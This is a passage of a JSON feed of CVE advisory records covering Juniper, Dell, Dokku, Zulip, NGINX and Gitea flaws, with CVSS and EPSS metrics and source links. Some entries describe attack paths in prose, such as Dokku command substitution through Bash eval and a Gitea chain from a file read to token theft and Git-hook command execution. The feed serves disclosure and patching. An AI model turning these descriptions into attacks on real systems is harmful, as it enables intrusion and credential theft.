fixes.","publishedAt":"2026-10-14T17:17:48.353Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101956","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.0075,"percentile":0.54656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101956","type":"primary","publishedAt":"2026-10-14T17:17:48.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101955","cveId":"CVE-2026-101955","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code...","summary":"A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code execution or a denial of service via a injected malformed DNS packet when Anti-Spam SBL inspection is enabled.","detail":"A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code execution or a denial of service via a injected malformed DNS packet when Anti-Spam SBL inspection is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:48.200Z","updatedAt":"2026-10-16T15:16:59.440Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101955","asOf":"2026-10-16T15:16:59.440Z"},"epss":{"probability":0.00529,"percentile":0.44443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101955","type":"primary","publishedAt":"2026-10-14T17:17:48.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101950","cveId":"CVE-2026-101950","aliases":[],"kind":"vulnerability","title":"A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service...","summary":"A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service and potentially compromise confidentiality and integrity via malformed IPv4 packets reaching an interface configured for Secure Vector Routing.","detail":"A Heap-based Buffer Overflow vulnerability in the SVR component of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to cause a denial of service and potentially compromise confidentiality and integrity via malformed IPv4 packets reaching an interface configured for Secure Vector Routing.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:47.877Z","updatedAt":"2026-10-17T04:16:46.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101950","asOf":"2026-10-17T04:16:46.700Z"},"epss":{"probability":0.00468,"percentile":0.4026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101950","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101950","type":"primary","publishedAt":"2026-10-14T17:17:47.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91881","cveId":"CVE-2026-91881","aliases":[],"kind":"vulnerability","title":"Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component.","summary":"Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure and unauthorized access. This is a Critical severity vulnerability as it allows an unauthenticated attacker to intercept all Redfish BMC traffic including credentials by performing a man-in-the-middle attack, since TLS certificate verification is unconditionally disabled in the base HTTP transport. Dell recommends customers to upgrade at the earliest opportunity.","detail":"Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure and unauthorized access. This is a Critical severity vulnerability as it allows an unauthenticated attacker to intercept all Redfish BMC traffic including credentials by performing a man-in-the-middle attack, since TLS certificate verification is unconditionally disabled in the base HTTP transport. Dell recommends customers to upgrade at the earliest opportunity.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:56.767Z","updatedAt":"2026-10-15T15:17:38.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Dell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91881","asOf":"2026-10-15T15:17:38.510Z"},"epss":{"probability":0.00231,"percentile":0.13846,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91881","type":"primary","publishedAt":"2026-10-14T16:17:56.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86002","cveId":"CVE-2026-86002","aliases":[],"kind":"vulnerability","title":"Dokku is a docker-powered platform as a service.","summary":"Dokku is a docker-powered platform as a service. In Dokku versions before 0.38.25, a user with app-level Dokku access and remote SSH access to execute docker-options commands can store arbitrary strings through the docker-options plugin, and those strings are later concatenated into DOCKER_ARGS and processed by Bash eval during build, deploy, or run operations. Shell command substitutions in the stored values are interpreted on the host, allowing arbitrary command execution with the privileges of the dokku operating-system user. This issue is fixed in version 0.38.25.","detail":"Dokku is a docker-powered platform as a service. In Dokku versions before 0.38.25, a user with app-level Dokku access and remote SSH access to execute docker-options commands can store arbitrary strings through the docker-options plugin, and those strings are later concatenated into DOCKER_ARGS and processed by Bash eval during build, deploy, or run operations. Shell command substitutions in the stored values are interpreted on the host, allowing arbitrary command execution with the privileges of the dokku operating-system user. This issue is fixed in version 0.38.25.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:54.470Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86002","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00563,"percentile":0.46537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86002&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86002","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86002","type":"primary","publishedAt":"2026-10-14T16:17:54.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86002&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86002, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102893","cveId":"CVE-2026-102893","aliases":[],"kind":"vulnerability","title":"Zulip is an open-source team collaboration tool.","summary":"Zulip is an open-source team collaboration tool. In Zulip Server versions through 12.1, GenericOpenIdConnectBackend matches the identity provider email claim to an active account's delivery_email without rejecting an explicitly false email_verified claim. If a configured identity provider returns an email address that the authenticating user does not control together with email_verified=false, Zulip can log the user into the existing account for that address. Exploitation requires a misconfigured trusted identity provider, and deployments whose authoritative identity provider only emits email addresses controlled by the authenticating user are not affected. This issue is fixed in version 12.2.","detail":"Zulip is an open-source team collaboration tool. In Zulip Server versions through 12.1, GenericOpenIdConnectBackend matches the identity provider email claim to an active account's delivery_email without rejecting an explicitly false email_verified claim. If a configured identity provider returns an email address that the authenticating user does not control together with email_verified=false, Zulip can log the user into the existing account for that address. Exploitation requires a misconfigured trusted identity provider, and deployments whose authoritative identity provider only emits email addresses controlled by the authenticating user are not affected. This issue is fixed in version 12.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:29.987Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102893","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.0039,"percentile":0.32793,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102893","type":"primary","publishedAt":"2026-10-14T16:17:29.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97205","cveId":"CVE-2026-97205","aliases":[],"kind":"vulnerability","title":"NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module.","summary":"NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module. When asynchronous file I/O (AIO) is enabled in certain configurations, processing a Server Side Includes (SSI) page containing “include virtual” commands may trigger a Use-After-Free (UAF) in the NGINX worker process. This may cause memory corruption or a worker process crash. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.\n\nImpact:\nThis vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system, corrupt its memory, or possibly trigger code execution. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module. When asynchronous file I/O (AIO) is enabled in certain configurations, processing a Server Side Includes (SSI) page containing “include virtual” commands may trigger a Use-After-Free (UAF) in the NGINX worker process. This may cause memory corruption or a worker process crash. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.\n\nImpact:\nThis vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system, corrupt its memory, or possibly trigger code execution. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:28.200Z","updatedAt":"2026-10-15T11:18:08.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97205","asOf":"2026-10-15T11:18:08.670Z"},"epss":{"probability":0.00834,"percentile":0.57406,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97205","type":"primary","publishedAt":"2026-10-14T15:17:28.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93479","cveId":"CVE-2026-93479","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture...","summary":"A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable in a string expression under certain conditions. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.\n\nImpact: \nThis vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable in a string expression under certain conditions. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.\n\nImpact: \nThis vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:26.810Z","updatedAt":"2026-10-15T11:18:08.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93479","asOf":"2026-10-15T11:18:08.093Z"},"epss":{"probability":0.01014,"percentile":0.63016,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93479","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93479","type":"primary","publishedAt":"2026-10-14T15:17:26.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59774","cveId":"CVE-2026-59774","aliases":[],"kind":"vulnerability","title":"Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files.","summary":"Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files. An unauthenticated attacker can use a suitable public repository to read files accessible to the Gitea service account. If the disclosed files include app.ini and its INTERNAL_TOKEN, the attacker can chain the disclosure with internal logger access to modify a Git hook and execute commands as the Gitea service account.","detail":"Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files. An unauthenticated attacker can use a suitable public repository to read files accessible to the Gitea service account. If the disclosed files include app.ini and its INTERNAL_TOKEN, the attacker can chain the disclosure with internal logger access to modify a Git hook and execute commands as the Gitea service account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:20.677Z","updatedAt":"2026-10-15T04:18:24.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59774","asOf":"2026-10-15T04:18:24.663Z"},"epss":{"probability":0.28308,"percentile":0.98105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59774&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59774","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59774","type":"primary","publishedAt":"2026-10-14T15:17:20.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59774&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59774, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15176","cveId":"CVE-2026-15176","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive...","summary":"A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive referencing the $request_filename variable. Alternatively, the same result could be achieved when the $request_filename variable is used in an access log format directive. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.\n\nImpact:\nThis vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive referencing the $request_filename variable. Alternatively, the same result could be achieved when the $request_filename variable is used in an access log format directive. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.\n\nImpact:\nThis vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:19.140Z","updatedAt":"2026-10-15T11:17:28.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-15176","asOf":"2026-10-15T11:17:28.110Z"},"epss":{"probability":0.00845,"percentile":0.57714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-15176&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 